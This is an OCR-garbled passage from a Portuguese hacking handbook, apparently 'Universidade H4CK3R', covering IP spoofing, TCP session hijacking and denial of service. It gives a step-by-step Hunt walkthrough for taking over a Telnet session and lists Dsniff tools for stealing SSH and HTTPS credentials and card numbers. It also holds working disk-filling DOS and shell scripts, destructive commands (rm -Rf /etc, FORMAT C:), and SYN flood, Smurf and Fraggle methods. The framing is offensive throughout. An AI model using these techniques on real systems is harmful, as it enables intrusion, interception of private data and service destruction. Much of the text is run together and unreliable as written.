ço, masrecobraráos sentidosa qualquermomentoe cortaráa comunicação 12891 ]Ataque,defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI (comumTCP RST)entreINTRANETe"H".Entreascoisasqueo invasorpode fazerna máquinaINTRANETestão: ~ Colocaro IP de"H"no /etc!hosts.equiv; ~ Criarumusuáriocomdireitosderootno /etc/passwd; ~ Implantarqualquertipo de backdoor. Há maisopçõesalémdessas.A partirdessasalterações,o hackerpodeinsta- larváriosbackdoors,incluirmaismáquinasnohosts.equiv(oumesmoo símbo- lo ++,quefazcomqueINTRANETconfieemqualquerum...)e criaroutras contasno sistema.É claroqueadministradoresatentoslogonotarãotaismu- danças,por issoé bomusaressamáquinapararapidamente"Ownar"outras. Nãoesqueçaaindaque,por maisengenhosoqueo procedimentoseja,ferra- mentasde IDS e auditoriade arquivoslogodescobrirãoa façanha. Comotarefaparacasa,sugerimosao leitorqueprocuredocumentaçãona Internetsobreos seguintestiposde Spoormg: ~ DNS Spoofing ~ SourceRouting ~ ProxySpoofing ~ Daisy-chainSpoormg Capturadesessões(Hijacking) Lembro-medasaulasdematemáticadaprimeirasériedoprimário(hojeisso é chamadodeEducaçãoFundamental,masé tudoamesmacoisa...).Problemas matemáticoseramresolvidosdividindoa folhado cadernoemtrêscampos: sentençamatemática,cálculoe resposta.Na sentençamatemática,colocáva- moso quefui,anosdepois,aprenderquesechamaformaalgébricadaequação (oudainequaçãoou fórmula).A sentençamatemáticadeveriaseralgoclaroe bemdetalhado,paraquea pessoaquefosseler a resoluçãodo problemapu- desseentendê-lonumrelance.No campoCálculos,ascoisaserammaislivres. Podíamospreenchercompletamenteo espaçocom cálculose anotações- mantendo,obviamente,alguma"limpeza",senãoeranotazero!Na resposta, noserapermitidocolocarapenaso resultadode nossoscálculos.Emnossos estudossobreinvasões,podemoscolocar,emnossasentençamatemática,o seguinteproblema:Sniffmg+Spoormg=? Façamososcálculos,então,eveja- mosno qualissovaidar. Naspáginasanterioresvimosquesniffmgé ummeiodesabero quesepassa numaredelocal- mesmoqueosdadosemtrânsitonãosejamdenossaconta. Por outro lado,podemosenviardadosa outroscomputadoresfingindoser umaterceirapessoa- issoé spoormg.É fácilperceberque,combinandoessas duastécnicas,podemos"roubar"umasessãoentredoiscomputadores."Como assimroubar?",o leitorperguntaria.Umaimagemvalepor mil palavras: 1290 I Ataque,defesae contra-ataque:Invasão[
  • Universidade3°ano ObservequeA, B e H nãoprecisamestarnamesmaLAN.H podeestar,com efeito,naLAN deA,nadeB ou emqualquersubredeintermediária.A malhade roteadoresmostradapoderiasersubstituídapor uma"nuvem"representandoa redecomoumtodo- poderiamesmoseraInternet.O importanteénotarqueH temdeestaremalgumpontopeloqualestejampassandoospacotesentreA eB. A conexãoentreA e B poderiaserqualquercoisa,comoumachamadaHTfP ou correioeletrônicosendotransmitidoviaSMTP.Capturandoumasessãodecon- versaçãopor ICQ, por exemplo,podemoscontinuarconversandocomB en- quantoelepensaquesomosA. Capturandoumasessãode FTp,5MB(redes Microsoft)ouTelnetentreo usuárioA e o servidorB,por exemplo,podemos navegarpelosservidoressemprecisarfazerlogin- A jáo fezanteriormente,e B agorapensaquesomosA.Acendeuuma"luzinha"aí?Poisé,háoutrasmaneiras deconseguiracessoa sistemasalémdobroteforcee bufferoverflow... Realmente,pormaisqueosmecanismosdeautenticaçãosejamseguros(senhasde mãoúnica,criptografia,assinaturasdigitais,etc.),pode-secapturarumacomunica- çãoqualquerDEPOISqueaautenticaçãofoifeitae,assim,pularessapartechata.As produtorasdesoftwarenormalmentegastammilhõesemdesenvolvimentodees- quemassegurosdeautenticaçãoe esquecem-sedoque,umavezfeita,o sistemairá SEMPREacreditarqueo usuárioéo mesmo- e,comovimos,nemsempreé... Outracaracterísticadeumasessãodehijackingé quenãoéprecisoestimarou adivinhara progressãoe a preditabilidadedosnúmerosseqüenciaisTCP.O ata- cante,estandonomeiodocaminhoentreasduasestações,temacessoàprogres- sãorealdosnúmerosseqüenciaisTCP epode,portanto,controlá-Iosquandoesti- verfazendosepassarpor outrem.Emnossoexemplo,H estácuidadosamente registrandotodaa comunicaçãoentreA e B,incluindoaíasseqüênciasTCP. Na prática,ospassosa seremseguidossão: 1. H deveobservar- comtécnicasdesniffmg- acomunicaçãoentreA e B por um temporazoável,paradeterminaro tipo de conexão,o protocoloem uso(HTTP,SSH,FTp'Telnet,MSN,ICQ...)e a seqüênciaTCP nosdoissentidos. Tudoissodeveserregistradoemum arquivoe analisado.Quandoa conexão estiverbem"escarafunchada",decide-sequeé interessanteseqüestrá-Iae deter- mina-seosmeiosparatal,aí podemosiniciara captura. 2. H começaentão- comtécnicasdespoofmg- a "enganar"B,fazendo-o pensarqueH éA.A formamaisusualé H simplesmentecriartráfegoentreele 1291 I ]Ataque,defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI e B,gerandopacotescujoendereçoIP deorigemsejao deA.B pensaráqueos pacotesvêmdeA. 3. Umavez queB aceitacomandosde H pensandoseremdeA, pode-se controlarB apartirdeH.SeforumasessãodeTelnetoudeSSH,H podeoperar o computadorB por comandosshell.Sefor umasessãoFTp'H podebaixar arquivosdeB queestejamliberadosparaA - e bloqueadosparausuáriosde FTP anônimo.SeforumaconversaçãoMSN,H podecontinuaraconversacom B fmgindoserA. Olhando"porcima",parecequefunciona.Masháumproblema:A aindaestá vivae B devolveaelapacotesTCP como bitACK ligadocadavezqueH injeta tráfegonalinha.A tentaráressincronizara conexãoe responderáa B names- mamedida.AlémdessesACKsespúriosgeradospelospacotesinjetadospor H naconexão,háaindaospacotesnormaisdaconexãoentreA e B.Issocausará o quechamamosdetempestadeACK ouACK storm. Quando descreve- mos,páginasatrás,um spoofingbaseadoem UnixTrusts,retiramos do ar a máquina SERVLOGIN (aquela pela qual queríamos nos fazerpassar)por meiodeumataquedo tipoNegaçãodeServi- ço.Naquelaocasião,o fizemosparaevitarqueSERVLOGINderrubasseaconexão(queafmalnãofora geradapor ela)comumpacoteTCP RST.O casoaquié ligeiramentediferente: A realmenteinicioua conexãoentreelae B.O tráfegoinjetadopor H aprovei- ta-sedissoe atempestadedeACKsé umefeitocolateralindesejado,emvezde serumprocedimentonormaldoprotocoloTCp'comono casodoRST. Apesardeserefetivonaquelecasoespecífico- nãoprecisávamosdeSERVLOGIN nodecorrerdaação-, usarDenialof Servicenemsempreé desejável: ~A máquinaforadoarpodevoltaraqualquermomento.Nãoháprevisãode quando,e certamenteo tempo que ficarádesabilitadaserámuito pequeno - o suficienteparaumou doiscomandos. ~Seo computadorquesofreuo DoSfor atendidopor alguém,ouseja,hou- ver usuáriosconectadosnele - por exemplo,umaestaçãode trabalho-, o ataqueseráfacilmentedetectado. ~Emalgunscasos,é necessárioqueo computadorpeloqualqueremosnos fazer passarfique "vivo"- há recursosque só podem ser destravadospor ele, ou precisamosqueo usuárioacreditequeaindaestáconectado. ~Eraimperativotirara máquinado ardevidoaosTCP RST,quecancelama 2921 Ataque.defesaecontra-ataque:InvasãoI
  • Universidade3°ano conexãocorrespondente.Aqui nãoháRSTpoiso originadordaconexãofoi - realmente- A e nãoH.A passaa sernecessárioe nãoindesejado. ~NegaçãodeServiçoé algodeselegante- e vocêé vaidoso,nãoé? A respostaestáemalgumaspáginasumpoucomaisparatrás.Quandofize- mossniffmgativo,usamosatécnicadeARPSpoofmgparaconfundiro switch e asprópriasestações,colocandonossamáquinanomeiodaconexão.Paratal, usamoso programaHuntemumaconfiguraçãoman-in-the-middle.Bem,pode- mosusaramesmaidéiaparaevitaroACK Storm.Como tráfegopassandotodo pelamáquinaque estáescutandoa rede,podemoscontrolara propagação dessesACKs espúrios. Nessaconfiguração,ficaclaroque,comonãoháproblemadetempestadede ACKs,podemosemitircomandosparaa máquinadestino(B,emnossoexem- plo). Obviamente,quandoa conexãoentreH e B for encerrada,a diferença entreosTCP sequencenumbersqueA enviae queB esperaé tãograndequea sincronizaçãoentreA e B é impossível- e a conexãoentreelestambémcai. ProgramasdeHijackmodernos(comoo Hunte o Dsniff)possuem,entretanto, ferramentaspararessincronizarasconexões,assimumadesconexãogratuita nãoirá causardesconfianças. Selecionandoseus combatentes É claroqueháapossibilidadedesefazertudoissomanualmente.Entretanto, a maneiramaisfácil é usarferramentasespecialmenteconstruídasparatal. Umadelasé o Hunt,vistonasessãosobresniffmg.O Huntpossuiduasopções interessantes:simplehijacke arp/simplehijack.No menuopções,eleoferece algumaspossibilidadestambémmuitointeressantes,comoarp spoof with my mac (lembram-sedoARP Spoofmg?),learn MAC from IP traffice switched environment(ferramentasparaenganarbridgese switches). O Dsniff,outrasuítede sniffingcomentadaanteriormente,tambémpossui ferramentasparacapturade sessões.Alémdo próprio programaDsniff (es- pecializadoemsniffing),a suítepossuiasseguintesferramentas: Ferramentasde sniffingincluídasna suíteDsniff: ~fllesnarf:copiana máquinado hackeros arquivostrafegandoem uma conexãoNFS (NetworkFile System)entredoisoutroscomputadores. ~mailsnarf:reproduznamáquinainvasoramensagensdee-mailsendotrans- mitidaspor POP ou SMTP.Commodificaçõesno códigodo programa,é pos- síveller tambémmensagensIMAP e UUCP.As mensagenssãoarmazenadas emformatomailbox- legívelpor praticamentetodosos programasde e- mailexistentes. ~msgsnarf:registratodaa conversaçãoentreduaspessoasque estejam usandoos serviçosde mensageminstantâneaAOL InstantMessenger,ICQ 2000,IRC,MSNeYahoo. 1293I ]Ataque.defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI ~urlsnarf: farejarequisiçõesHTTP e as apresentano formatoCommon Log Formatou CLE Ferramentasde spoofingincluídasna suíteDsniff: ~arpspoof:ferramentaparaARP Spoofing. ~dnsspoof:forja respostasa solicitaçõesDNS em umaLAN. É útil para contornarregrasdeacessobaseadasno nomedo hostou paraimplementar diversosataquestipo man-in-the-middlebaseadosemDNS. ~macof:umaferramentaparaMACFlooding.Inundaa LAN comumamul- tidãode endereçosMAC randômicos,fazendocom que bridgese switches vulneráveispassema se comportarcomo hubs - ou seja,deixandopassar todo o tráfegoindiscriminadamentepor todasasportas. Ferramentasde capturae controle(hijacking)incluídasna suíteDsniff: ~tcpkill: derrubaa conexãoselecionada. ~tcpnice:controlaavelocidadedaconexãoentredoisnóssemprejudicar o restantedarede.É interessanteparareduziravelocidadedeumaconexão e,comisso,monitorá-Ia"aovivo". ~sshmitm:agecomoumintermediário(umaespéciedeproxy)paracone- xõesSSH.Umavezdesviadaaconexão(comferramentascomo,porexemplo, o dnsspoof),o sshmitmpodefarejaro tráfegoà procurade loginse senhase mesmocapturarasessão.Aporçãomitmdonomesignificaman-in-the-middle. ~webmitm:agetambémcomointermediário,destavez paraconexões HTTP/HTTPS (sim,suportaSSL!!!).Útil paraconseguirsenhasde acessoa sitese informaçõesnormalmenteinseridasemformulárioscomo números de cartõesde créditoe informações"criptografadas". Alémdo Hunt e do Dsniff,há algumasoutrasferramentasparaseqüestro de sessões.Uma delas,muito conhecida,é o Juggenaut (packetstorm. linuxsecurity.com/new-exploits/1.2.tar.gz).Outro tambémmuito comenta- do é o IP-Watcher, produto comercial (e pago) da Engarde Systems - www.engarde.com).Um detalhe:todoselessãoparaUnix.Nãohá boasop- çõesde ferramentasparaseqüestrode sessõesquerodememWindowsou outrasplataformas- nestecasoespecífico,meuamigo,vocêestápresoaos Unix.Umasaídaé dotarseuWindowsdeumambienteUnix simuladocomoo Cygwin(www.cygwin.com)e rodaressasferramentaslá.Paraisso,serápre- cisoinstalartambémasbibliotecaspertinentesa cadaumdossoftwaresden- tro do Cygwin.Outramaneiraé dotarseuWindowsdeumamáquinavirtual PC completa,como o comerciale caroVMWare(www.vmware.com)ou o livree gratuitoBochs(bochs.sourceforge.net),e rodaralgumUnix paraPC (Linux,FreeBSD,Solaris)dentrodele. 12941 Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano Seqüestro na prática (ou: como me tornei membro do AL QaedaJ Anteriormentedescrevemosumasessãodesniffmgcomo Hunt.Chegamos aopontodeverificaroscomandosqueA emitiaparaB e verasrespostasque B enviavaparaA.Aindanãoestávamosexatamenteno meiodaconversação- simplesmentefarejávamoso tráfego("pô, passampor aquiberrandoe não queremqueeuescute..."). Vamosrefazê-Ia,destavezcapturandoa sessão.Usaremosnossarededetes- tese asmesmasinstalaçõesqueusamosemnossoexperimentoanterior.Usare- mostambéma mesmasessãodeTelnetquedescrevemos. Rapidamenterelembrandoo procedimentojá visto,selecionea opção"o" (options)eadicioneumaconnpolicy,deacordocomosIPsdasmáquinascujas conexõesqueremosmonitorare,posteriormente,capturar.Digite"1"paraver seháinterfaces"vivas"queobedeçamaessaregra(observeo promptdoHunt). Depoisdisso,digite"x"paravoltarà telaprincipale "1"novamenteparalistar asconexõesexistentesqueestejamdeacordocomasconnpoliciesdefmidas. Selecione"w"(watch)paramonitorarumadasconexões,e depoisescolhaa conexãodenossasessãotelnet(lembre-se:estamosfazendoumtelnetdamá- quinaWindowsparaa Coitada).Logue-seporTelnete emitaalgunscomandos. Setudoestivercerto,todososdadosemambosossentidosdaconexãoserão ecoadosno Hunt- queestárodandonaestaçãoUnix.Atéaquierao quehaví- amosfeito. Noteque,sevocêestiveremumambientederedesegmentado(porexemplo, háumswitchemsuaLAN),vocêterádefazerumARPSpoofmgparaenganá-Io - casocontrário,nãoconseguiráver asconexõesqueestejamemoutroseg- mento.O próprioHuntpodefazerisso.Selecione"d"(daemons)e"a"(arpspoof +arprelayerdaemon),e configureosendereçosIP deorigeme destinopelos quaisvocêquerfazerARP Spoofmg(opção"a"- addhostto hostarpspoot). Digite"s"parainiciaro daemone esperealgunsminutos.Dependendodo trá- fegodesuaredee dasestaçõesemquestão,podedemorardeuma20minutos paraqueo switchpassea distribuirpacotesindiscriminadamente. Comou semswitch,vocêestáprontoparaseuprimeiroseqüestro.Volteao menuprincipale escolhaa opção"a"(arp/simplehijack).Seráperguntado qualdasconexõesdesejacapturar.Selecionea conexãodenossotelnete res- pondaàsperguntassobreconexãoe apresentaçãodosdados.Ateladecaptura é,emumprimeiromomento,idênticaàteladeobservação(watch).O compor- tamentotambémé o mesmo,por enquanto:tudoo queo usuáriodamáquina Windowsfizerseráecoadoparao Hunt antesde serenviadoà "Coitada",o mesmoocorrendocoma respostade"Coitada"paraWindows. Issoocorreráindefrnidamente,atéqueo Hackerdesejecapturara conexão. Paratal,bastapressionarControI+C.Na tela,apareceráa mensagem: - press any key> 1295 I IAtaque, defesa e contra-ataque: Invasão
  • IUniversidadeH4CK3RI Assimquewna teclaqualquerfor pressionada,a telado Hunt separecerácom isso: - press any key> you took over the connection CTRL-] to break Pronto!Já estamosemmodointerativocoma sessãocapturada.A máquina Windowsnãotemmaiscontrolesobreaconexão,tudoo queo usuáriodigitar seráecoadono Huntnacorverde,masnãoseráenviadoà Coitada.Por outro lado,tudoo queo Hackerdigitarno Hunt seráenviadoà máquinaCoitada. Comoé umasessãodeTelnet,digitarcomandosdeshellno Huntresultaráem suaexecuçãoemCoitada. - press any key> you took over the CTRL-] to break ls ls ls exit cazzo! connection Comandosdigitados pelo usuário que perdeu a conexão coitada [/home/usuario] > ls Desktop README Xresources Xsetup aliases.sh chooser j tmp coitada [/home/usuario] > W 1:44am up 7 days, 5:44, USER TTY FROM root ttyl usuario pts/2 root pts/O root pts/l coitada [/home/usuario] > 192.168.1.1 4 users, load average: 0.99, 1.22, 1.20 LOGIN@ IDLE JCPU PCPU WHAT Wed 3pm 3:48m 0.07s 0.07s -bash 1:07am O.OOs 0.03s O.Ols w 29May03 7days O.OOs ? Wed 3pm 9:28m 0.15s 0.15s /bin/bash Na teladamáquinaWindowsserámostradaa seguinteinformação: $ls $ls $ls $exit $cazzo! Ou seja,o usuáriotemwnarealimentaçãodoquedigitou,enenhumamensa- gemdefalhaserámostrada- simplesmentenãoacontecenada!Essasaídaé,na verdade,fomecidapeloHunt.Eleincluio caráter$paradarumaimpressãode promptdo shell- lie anddeceive... 2961 Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano Comcontrolesobre"Coitada",o hackerpodetentaro quequiser:colocarum backdoor,apagartudo,fazerdownloaddedocumentose arquivosimportantes (inclusiveo arquivodesenhas),usaramáquinacomotrampolimparaoutroata- que(maisumamaneiradespoofing...),tentarganharacessoirrestrito,etc,etc,etc. ÉmuitoimportanteobservarqueusamosumservidorUnuxcomoexemplo,maso procedimentoé o mesmoparaqualquerplataforma.Poderíamostranqüilamente terusadoo HuntparaseqüestrarumasessãoentreumaestaçãoWmdows98eum servidorWmdows2000comns eTelnethabilitado(ouFIP ouHTTP ouPOP...). Quandocansardebrincar,o invasorpressionaControl+]parasair.Eleterá,ainda, a opçãodederrubara conexão(e o usuárionamáquinaWmdowsreceberáuma falsamensagemdeproblemascomarede)ouressincronizá-la.O Hunté inteligente nessahora:eletemregistradososnúmerosTCP seqüenciaisvindosdamáquina WindowsedaprópriamáquinaUnix,naqualestáo programa.Dessaforma,o Hunt sabequantospacotesWmdowstemdeenviarparao "limbo"antesdepermitirsua reconexãoàmáquinaCoitada.Porexemplo,seo Huntenviou45pacotesTCPpara a Coitada,quandoa capturadasessãoforfinalizadaamensagem msgfrom root: power failure - try to type 45 characters serámostradanateladeWindows.Assimqueo usuáriodigitara 45atecla,os númerosseqüenciaisTCP estarãonovamenteemsincronia.A sessãopodecon- tinuarnormalmente- e, namaioriadoscasos,o usuárioemquestãosequer perceberáo queaconteceu.Mastenhaemmentequeamaioriadasvezesnão significatodas,e umusuárioqueconheçao comportamentodoHuntfacilmen- te identificaráa falcatruae avisaráa autoridadecompetente. Tarefapara.casa:tentefazerexatamenteo mesmocomo Dsniff(leiaa docu- mentação!).Vocêveráque,por não serumaferramentaintegradacomo o Hunt,masum conjuntode pequenasferramentasde usoespecífico,teráde usarváriasdelasparaobtero mesmoefeito.Entretanto,nomaisperfeitoestilo Unix de fazerascoisas,tambémveráqueé bemmaisfácilautomatizaro ata- quecomumshellscriptquefaçausodelas. Outrosmétodosdedesviartráfego Hámuitasoutrasformasdecolocar-senaposiçãodeman-in-the-middlee fazer o tráfegopassarpor seucomputadorantesdechegaraodestino.Algumasdelas incluemdesviartráfegowebpormeiodeDNSSpoofmg.Háferramentas(como o dnsspoof,inclusonasuíteDsnift)quepodemserprogramadasparaenviar falsasrespostasarequisiçõesDNS.Porexemplo,o sitedaDigeratiestáhospeda- donohost200.246.179.102.Épossívelusaro dnsspoofparafazerumintemauta qualqueracreditarque,em vez disso,o domínio digerati.com.brestáem 200.230.xxx.yyy.Lápodehaverumsitefalsoouumsnifferquegraveasinforma- çõespassadase redirecioneo tráfegoaositeverdadeiro. Outraformade desviaro tráfegobastanteempregadafazuso do Netcat- umaferramentapoderosíssimae presenteemtodosos Unix e no Windows. 12971 1 Ataque, defesa e contra-ataque: Invasão
  • IUniversidadeH4CK3RI Veremososdiversosusosdo Netcatno próximocapítulo. Uma última dica: há um excelentedocumentoem packetstorm.linux security.com/new-exploits/ssh-insertion-attack.txtquediscorresobrecaptura desessõesusandoo protocoloSecureShellouSSH.O SSHé,grossomodo,um primodoTelnetcujaconexãoé todacriptografada.Bem,essedocumentoensi- naa"meter-se"nessaconexãoquemuitosconsideramsegura. Negaçãode serviço (DeniaLofService) Nemsemprequeremosobteracessoaalgumsistema.Muitasvezes,porvingan- ça,terrorismoousimplesdepredação,queremosapenasderrubarumsite,sistema ou redee causaro máximopossíveldeprejuízosà vítima.Talprocedimentoé chamadoatualmentedeNegaçãodeServiçoporqueo resultadoé,viaderegra,a indisponibilidadetemporáriaoupermanentedo serviçoqueestamosatacando. OutrasvezesumDenialofService(ouDoS,comoénormalmentechamado)é necessáriocomopartede um ataquemaior,comovimosemnossosprocedi- mentosde spoofingnestemesmocapítulo.De umaformaou de outra,um ataquedotipoDoSé o cibercrimemaisdeselegantequesepodecometer- é como"partirparaa ignorância",comodiziamos antigos.Sementraremdeta- lhessobreasconseqüênciasmercadológicas,políticase financeirasdeumata- queDoSbem-sucedido,podemosconsiderá-Iotãomortalquantomoralmente baixo,damesmaformaqueumabrigaderuao é. Paraentendera negaçãode serviço,imaginequalquersistemaconectadoà Internetquesequeiraderrubarcomosendoumserviço"nomundoreal";flo- ricultura,pizzaria,polícia,defesacivil,etc...Imagine,por exemplo,quevocê queiracolocarfogoemumprédiopúblicoe tercertezade quenãoteráseus planosarruinadospor algumbombeirocomvocaçãoparaherói.Umadasma- neirasdeimpedirqueosbombeirosentrememaçãoéimpedirqueelessaibam que o prédioestáemchamas.Paratal,bastamantertodasas linhasdo 193 congestionadascomtrotes.Emergênciaslegítimasnuncaserãoatendidas. Aindanoâmbitotelefônico,umbeloexemplodenegaçãodeserviçopôdeser vistono ftlmeDuro de Matar3: o terroristainterpretadopor JeremyIrons colocouumabombaemalgumaescolaprimáriado municípiode NovaYork. Alémde nãoinformarà políciaemqualescolao aparatoestavainstalado,o bandidoaindadivulgouapresençadabombaparaamídia.Resultado:apopu- laçãointeiradacidadecomeçoualigarparaosnúmerosdapolícia,congestio- nandoaslinhase impedindoospoliciaisde trabalhar. Negação de serviço local HádiversosníveisdeDoS.Osmaisbásicossãoos causadospor pessoascomacesso físicoaosistema- emoutraspalavras,literalmente"meteramarreta"no equipamento. Passarcomo caminhãopor cimadalombadaeletrônicaparatirá-Iadeserviço(e livrar- sedamulta)tambémpodeserconsideradoum tipodenegaçãodeserviço. 1298 I Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano UmDoSdenívelumpoucomaisalto(nãomaisnasarjeta,masaindamendi- gandonacalçada)seriao acessológicoaossistemas.Usuárioscomcontasou invasoresqueconseguiramacessolimitadopodemtentardestruiro sistema comcomandosnocivos.Há diversasmaneirasdefazerisso. ~ Apagamentoou destruição:umusuáriocomumacontaemumservidor Solarispoderiatentarumrm-Rf. emumdiretóriosensível- o letc,por exem- plo.Casoo ambientesejaWindows,nadamaisfácilqueumFORMATC:ouum DEi *.*IS/Q. ~ Consumode recursos:mesmousuárioscom acessomuitorestritode- vempoder rodarprogramasno sistema- comotrabalharãosemeles?Isso posto,é possívelcriarprogramasespecialmentetalhadosparaaumentarem progressãogeométricao consumoderecursosdamáquina- sejapor múlti- plos acessosa disco,inundaçãodasinterfacesde redecom tráfegoespúrio, multiplicaçãoindeftnidade processosou mesmogravaçãoininterruptade dadosemarquivosatépreenchertodoo espaçodisponível. ~ Vulnerabllidadeslocais:umbufferoverflow,sebem-feito,podelevara acessoirrestritoouàexecuçãodecomandosarbitráriosno sistemavulnerável. Um ataquemal-feito,entretanto,podeapenastravaro programa.Seo progra- maforvitalparao sistema(comopartesexpostasdo kernelemumWindows N1) ou oferecerum serviçoaosusuáriosexternos(comoo X-Windowou o SendmailemumUnix),o estragoserámaior.Casoo lixo jogadonapilhaseja emquantidaderealmentegrande,é possívelqueo sistematodocaia. ~ Acessoirrestrito:usuárioscomacessoprivilegiado(por exemplo,um administradorde rede insatisfeitocom seu salário)podemfazerdiversas "malvadezas"comoreconftgurarserviçosoumatarprocessosimportantes,além deplantarcavalosdetróia,bombasdetempoe diversostiposdevírus. Há diversasferramentasna Internetqueseprestama essepapel,e mesmo script-kiddiescomumpoucomaisdetutanopodemcriarferramentassimples paratal.Quer um exemplo?Em umamáquinaWindows,crie um arquivo DADOS.BATe,dentrodele,coloque: @ ECHO OFF ECHO UHackerU > DADOS.DAT :VOLTA TYPE DADOS.DAT» SYSTEM.DAT TYPE SYSTEM.DAT » DADOS.DAT GOTO VOLTA: 12991 ]Ataque,defesae contra-ataque:Invasão
  • I UniversidadeH4CK3RI Rode o programaDADOS.BATe você verá os arquivosDADOS.DATe SYSTEM.DATcresceremindefinidamente.EmumshellUnixétãosimplesquanto. Experimenteo seguintescript(chame-odedados.sh): #/bin/sh touch dados. dat touch systern.dat echo llhackerll » dados.dat; while [ 1 = 1 ]; do cat dados.dat » systern.dat; cat systern.dat » dados.dat; done; Executeo programinha(dados.batno Windows,sh dados.shno Unix) e vejao queacontece.Aparentementenada,massevocêderumlsnoUnixoudir no DOSparalistaros arquivos(emoutroshellou outrajanelado DOS)verá queo tamanhode DADOS.DATe SYSTEM.DATcrescemexponencialmenteà medidaque o tempopassa.Rodandopor apenasum minuto(60 segundos exatos)os tamanhosficarãodaordemde 100MB cada.Maisdezminutose teríamosdoisarquivosde 1GB cada,em60minutos(umamíserahora)tería- mos 12GB ocupados.Os programasemDOSe Unix apresentaramdesempe- nho semelhantequandoexecutadosno mesmohardware. Observequenenhumdos 2 scriptsprecisoude privilégiosespeciaispara rodar:foramexecutadosdiretamentenaáreaautorizadaparao usuárioe usa- ramferramentase recursosdisponíveisno sistema- nadaprecisouserinstala- do.Observeaindaqueos quatroproblemaslistados- apagamentoou destrui- ção, consumode recursos,vulnerabilidadeslocaise alteraçõespor acesso irrestritopodemmuitobemserimplementadasnosV1fUSquechegama você pelaInternete por disquetese CDsinfectados!!!Defato,osV1fUSdecomputa- dor,desdeque surgiramno início dosanos80,sãoum exemploclássicode negaçãodeserviçolocal! Mastudoissoé demuitíssimobaixonível.Sealgumsistemacomputacional estáà mercêde operáriosbraçaismunidosde marretase picaretasalguém deveperdero emprego- provavelmenteo segurançadaportariae o CEOda empresa...Entretanto,há algunstiposdeataquesorquestradosexternamente - emoutrapartedaredeinternadaempresaou mesmoviaInternet. Negaçãode serviçoremoto Alémdoanônimatoinerenteaosataquesremotos,háumainftnidadedemé- todose ferramentasquepermitemqueum ataqueremototipo DoSsejades- 300 I Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano truidor.Vamosnosatermaisà teoriasobreDoSe indicaralgumasferramentas paralevartaisataquesa bomtermo.Mascomoé, de longe,a modalidadede ataquemaispopular,documentadae comentadada Internet,deixaremosao leitora tarefadebuscarmaisinformaçõesa respeito. Há dois "subtipos" de ataques DoS remotos. Alguns deles atacam vulnerabilidadesconhecidasnos sistemas-alvo- comoasfalhasde RPC que resultaramna quedade novedos 13roteadores-raizda Internet(todosnos EUA)em outubrode 2002.O outro grandegrupo de DoS remotoprocura exaurirtodososrecursosdoalvo- sejaocupaçãodebandadarede,multipli- caçãodescontroladadeprocessosno servidorHTTP ou inundaçãodemensa- gensdee-mail- possivelmenteacompanhadasdevíruspotencializadoresdo ataque,comoo Klez e o BugBear.O famosoe anciãoPingof Death- tipo de ataqueusandoo utilitárioPingparagerarpacotesICMP defeituosose gigan- tescos- pertenciaa ambosos tipos:geravaumafragmentaçãodefeituosa dospacotese aomesmotempoconsumiabanda. Um exemplode ferramentadeDoSremotodo primeirotipo é o veterano WinNuke.O programaaproveitavaumafalhaexistentenoWindows95 e no Windows NT 3.51: caso a porta 139 - nossa velha conhecida do compartilhamentode arquivosemredesMicrosoft- recebessepacotesnão válidosemlugardo protocolo5MB,o sistemaoperacionaltravava.Há ver- sõesatuaisdoWinNuke que exploramoutrasvulnerabilidades- umavez queessafoi consertadanoWindows98e no NT4 - e trabalhamtambémcom exaustãode recursos. Para sabermais sobre essetipo de ferramentas,procure por DoS ou malformedpacketdos attackemseumecanismode busca.Inúmerasferra- mentaspara essee outros tipos de ataquepodem ser encontradasem packetstormsecurity.nl/DoS/e emwww.astalavista.box.sk. Já recaindono segundotipo,o tipomaiscomumdeataqueé o SYNFloodou inundaçãodepacotesTCPSYN.Lembra-sedenossaprimeiratentativadespoofing? EnfiávamosumSYNcomIP deorigemdiferentedonosso.Naquelasituação,não conseguíamosestabelecerumaconexãospoofadapor doismotivos: 1. Comoa máquinaatacadanãosabianossoIP verdadeiro,não poderia responder-nos; 2. A máquinapelaqualnosfazíamospassarretornavapacotesTCP RSTe acabavacomnossaconexão- e comnossaalegria... No casodeumDoSporSYNFlood,dequenosimportaseseremosrespondi- dosou não?O quevaleé enviarmostantosTCP SYN Spoofadosquantopossí- vel,paraquea máquina-alvoseocupederespondê-Iose nãotenhatempode respondera outrasrequisiçõesdeoutraspessoas.Lembre-se:avítimavaienvi- arumSYN-ACKe esperarporACKs quenuncavirão.Issoacabarápor impos- sibilitaravítimaderespondera qualqueroutropedidodeconexãoou mesmo atendera conexõesjá existentes. 1301I 1 Ataque, defesa e contra-ataque: Invasão
  • IUniversidadeH4CK3RI ObviamenteháoutrosmétodosparaDoSalémdo SYNFlood.Um outromé- todomuitíssimousadofazusodepacotesICMP EchoRequest(ping!)dispara- dostambémeminundação.Seo IP estiverspoofado,a máquina-alvonãores- ponderáaoIP deorigem,masaoIP falso.UmaextrapolaçãodoDoSutilizando ICMP é o famosoSmurf:dispara-seICMP EchoRequestparaumgrandenúme- ro demáquinas,mascolocandocomoendereçoIP deorigemo IP davítima(e nãoum falso).O resultadoé um grandenúmerode máquinasrefletindoao mesmotempoumamultidãodepacotesICMP emdireçãoàvítima,quesaido arpraticamenteno mesmoinstante. ~~, IPx.x.x.2~ IP daúltima..- 'Socorro!~-t~~-~ ~ ~~~ OutrapossibilidadeéusarumamensagemUDPemvezdeICMP.Háumserviço chamadoecho,funcionandonaporta7UDp,quesimplesmentedevolveaoendere- ço deorigemtudoo quechegarpor ela.Bem,imagineentãoenviarumpacote UDP spoofado,cujoIP deorigemé 127.0.0.1(ouseja,o loopback- emoutras palavras,aprópriamáquina)eo IP dedestinoéo IP damáquina.Emumasituação dessas,o pacoteUDP entraemloopdentrodamáquina.Um númeropequeno dessespacotesbastaparacomprometertodaapilhaTCP!IPdosistemaoperacional e consumirgrandespercentagensdabandaderededisponível.Extrapolandoda mesmaformacomonoataqueSmurf,pode-seenviarparaaportaUDP7deinúme- rasmáquinaspacotescom IP deorigemigualaodaví- tima.Todaselasdevolverão o presenteparaamáquina sobataque- comprome- tendoabandanovamente. Seohackerusarbroadcast, então,o queeraumaleve malvadezapassaaseruma calamidade.Tal ataqueé chamadodeFraggle. Origem:127.0.0.1 . Destino:IP daVítima PortaVOP7 3021 Ataque,defesae 